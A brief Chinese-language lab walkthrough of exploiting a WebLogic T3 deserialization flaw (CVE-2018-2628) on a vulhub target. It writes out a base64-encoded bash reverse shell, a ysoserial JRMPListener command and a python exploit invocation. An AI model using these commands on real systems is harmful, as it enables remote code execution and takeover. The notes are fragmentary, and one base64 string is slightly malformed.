原理
Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
用vuluhub搭建一下靶场环境
访问漏洞环境
这时候还要准备一个jar利用工具
首先下载ysoserial,并启动一个JRMP Server:
上一个文章有
开始构造pyload
由于Runtime.getRuntime().exec()
中不能使用管道符等,所以对反弹shell的语句进行编码
bash -i >& /dev/tcp/192.168.201.129/2233 0>&1
进行base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvMjIzMzA+JjE=
构造pyload
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 6666 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMjkvMjIzMyAwPiYx}|{base64,-d}|{bash,-i}'
启动并启动一个JRMP Server:
端口是JRMP Server:是端口
然后下载exp
之后开始利用攻击
python2 44553.py 192.168.201.128 7001 ysoserial-all.jar 192.168.201.129 6666 JRMPClient
接收到shell
jian
kang